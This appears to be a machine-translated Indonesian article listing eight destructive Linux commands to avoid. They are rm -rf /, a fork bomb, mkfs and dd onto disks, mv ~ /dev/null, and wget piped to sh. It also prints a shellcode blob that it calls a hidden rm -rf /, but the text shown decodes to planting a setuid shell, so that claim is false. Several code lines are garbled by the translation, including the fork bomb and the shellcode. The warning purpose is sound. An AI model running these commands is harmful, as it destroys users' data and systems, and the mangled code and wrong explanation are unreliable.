8 Perintah Mematikan Anda Jangan Pernah Jalankan di Linux

Anonim

Perintah terminal Linux sangat kuat, dan Linux tidak akan meminta konfirmasi jika Anda menjalankan perintah yang akan merusak sistem Anda. Tidak jarang melihat troll online merekomendasikan pengguna Linux baru menjalankan perintah ini sebagai lelucon.

Mempelajari perintah yang tidak boleh Anda jalankan dapat membantu melindungi Anda dari troll sambil meningkatkan pemahaman Anda tentang cara kerja Linux. Ini bukan panduan lengkap, dan perintah di sini dapat di-remix dengan berbagai cara.

Perhatikan bahwa banyak dari perintah ini hanya akan berbahaya jika diawali dengan sudo di Ubuntu - mereka tidak akan berfungsi sebaliknya. Pada distribusi Linux lainnya, sebagian besar perintah harus dijalankan sebagai root.

rm -rf / - Menghapus Semuanya!

Perintah rm -rf / menghapus semua yang mungkin bisa, termasuk file pada hard drive Anda dan file pada perangkat media yang terhubung yang dapat dilepas. Perintah ini lebih bisa dimengerti jika dipecah:

rm - Hapus file-file berikut.

-rf - Jalankan rm secara rekursif (hapus semua file dan folder di dalam folder yang ditentukan) dan hapus paksa semua file tanpa diminta.

/ - Memberitahu rm untuk memulai pada direktori root, yang berisi semua file di komputer Anda dan semua perangkat media yang dipasang, termasuk pembagian file jarak jauh dan drive yang dapat dilepas.

Linux dengan senang hati akan mematuhi perintah ini dan menghapus semuanya tanpa diminta, jadi berhati-hatilah saat menggunakannya! Perintah rm juga dapat digunakan dengan cara berbahaya lainnya - rm –rf ~ akan menghapus semua file di folder rumah Anda, sementara rm -rf. * Akan menghapus semua file konfigurasi Anda.

Pelajaran: Waspadalah rm -rf.

Rm tersamar –rf /

Berikut cuplikan kode lain yang ada di seluruh web:

char esp [] __attribute__ ((bagian (“teks.”))) / * esp
lepaskan * /
= "\ Xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68"
"\ Xff \ xff \ xff \ xff \ x68 \ xdf \ xd0 \ xdf \ xd9 \ x68 \ x8d \ x99"
"\ Xdf \ x81 \ x68 \ x8d \ x92 \ xdf \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7"
“\ X56 \ x04 \ xf7 \ x56 \ x08 \ xf7 \ x56 \ x0c \ x83 \ xc4 \ x74 \ x56”
"\ X8d \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ xcd \ x80 \ x31"
"\ Xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ xff \ xff \ xff \ x2f \ x62 \ x69"
“\ X6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00”
“Cp -p / bin / sh /tmp/.beyond; chmod 4755
/tmp/.beyond; ";

Ini adalah versi hex dari rm –rf / - mengeksekusi perintah ini akan menghapus file Anda seperti jika Anda menjalankan rm –rf /.

Pelajaran: Jangan menjalankan perintah yang tampak aneh dan tersamar yang tidak Anda mengerti.

:():;: - Fork Bomb

Baris berikut adalah fungsi bash yang tampak sederhana, namun berbahaya:

:(): &;:

Baris pendek ini mendefinisikan fungsi shell yang membuat salinan baru dari dirinya sendiri. Proses ini terus menerus mereplikasi dirinya sendiri, dan salinannya terus menerus mereplikasi dirinya sendiri, dengan cepat mengambil semua waktu dan memori CPU Anda. Ini dapat menyebabkan komputer Anda membeku. Ini pada dasarnya serangan penolakan layanan.

Pelajaran: Fungsi Bash sangat kuat, bahkan sangat singkat.

mkfs.ext4 / dev / sda1 - Memformat Hard Drive

Perintah mkfs.ext4 / dev / sda1 mudah dimengerti:

mkfs.ext4 - Buat sistem file ext4 baru pada perangkat berikut.

/ dev / sda1 - Menentukan partisi pertama pada hard drive pertama, yang mungkin sedang digunakan.

Secara bersamaan, perintah ini dapat setara dengan menjalankan format c: pada Windows - ini akan menghapus file pada partisi pertama Anda dan menggantinya dengan sistem file baru.

Perintah ini dapat datang dalam bentuk lain juga - mkfs.ext3 / dev / sdb2 akan memformat partisi kedua pada hard drive kedua dengan sistem file ext3.

Pelajaran: Waspadalah menjalankan perintah langsung pada perangkat hard disk yang dimulai dengan / dev / sd.

command> / dev / sda - Menulis Langsung ke Hard Drive

Perintah> / dev / sda line bekerja dengan cara yang sama - ia menjalankan perintah dan mengirimkan output dari perintah itu langsung ke hard drive pertama Anda, menulis data langsung ke hard disk drive dan merusak sistem file Anda.

command - Jalankan perintah (bisa berupa perintah apa saja.)

> - Kirim output dari perintah ke lokasi berikut.

/ dev / sda - Tulis output perintah langsung ke perangkat hard disk.

Pelajaran: Seperti di atas, waspadalah menjalankan perintah yang melibatkan perangkat hard disk yang dimulai dengan / dev / sd.

dd if = / dev / random of = / dev / sda - Menulis Junk Onto a Hard Drive

Baris dd if = / dev / random of / dev / sda juga akan menghapus data pada salah satu hard drive Anda.

dd - Melakukan penyalinan tingkat rendah dari satu lokasi ke lokasi lain.

if = / dev / random - Gunakan / dev / random (data acak) sebagai input - Anda juga dapat melihat lokasi seperti / dev / zero (nol).

of = / dev / sda - Output ke hard disk pertama, mengganti sistem file dengan data sampah acak.

Pelajaran: dd menyalin data dari satu lokasi ke lokasi lain, yang bisa berbahaya jika Anda menyalin langsung ke perangkat.

mv ~ / dev / null - Memindahkan Direktori Beranda Anda ke Lubang Hitam

/ dev / null adalah lokasi khusus lain - memindahkan sesuatu ke / dev / null adalah hal yang sama dengan menghancurkannya. Pikirkan / dev / null sebagai lubang hitam. Pada dasarnya, mv ~ / dev / null mengirim semua file pribadi Anda ke dalam lubang hitam.

mv - Pindahkan file atau direktori berikut ke lokasi lain.

~ - Merupakan seluruh folder rumah Anda.

/ dev / null - Pindahkan folder rumah Anda ke / dev / null, hancurkan semua file Anda dan hapus salinan aslinya.

Pelajaran: Karakter ~ merepresentasikan folder home Anda dan memindahkan sesuatu ke / dev / null menghancurkannya.

wget //example.com/something -O - | sh - Unduhan dan Menjalankan Skrip

Baris di atas mengunduh skrip dari web dan mengirimkannya ke sh, yang mengeksekusi isi skrip. Ini bisa berbahaya jika Anda tidak yakin skrip itu atau apakah Anda tidak mempercayai sumbernya - jangan jalankan skrip yang tidak dipercaya.

wget - Unduh file. (Anda juga dapat melihat keriting sebagai ganti wget.)

//example.com/something - Unduh file dari lokasi ini.

| - Pipa (kirim) output dari perintah wget (file yang Anda unduh) langsung ke perintah lain.

sh - Kirim file ke perintah sh, yang mengeksekusinya jika skrip bash.

Pelajaran: Jangan mengunduh dan menjalankan skrip yang tidak tepercaya dari web, bahkan dengan perintah.


Tahu ada perintah berbahaya lain yang tidak boleh dijalankan oleh pengguna baru (dan berpengalaman) Linux? Tinggalkan komentar dan bagikan!

Pilihan Editor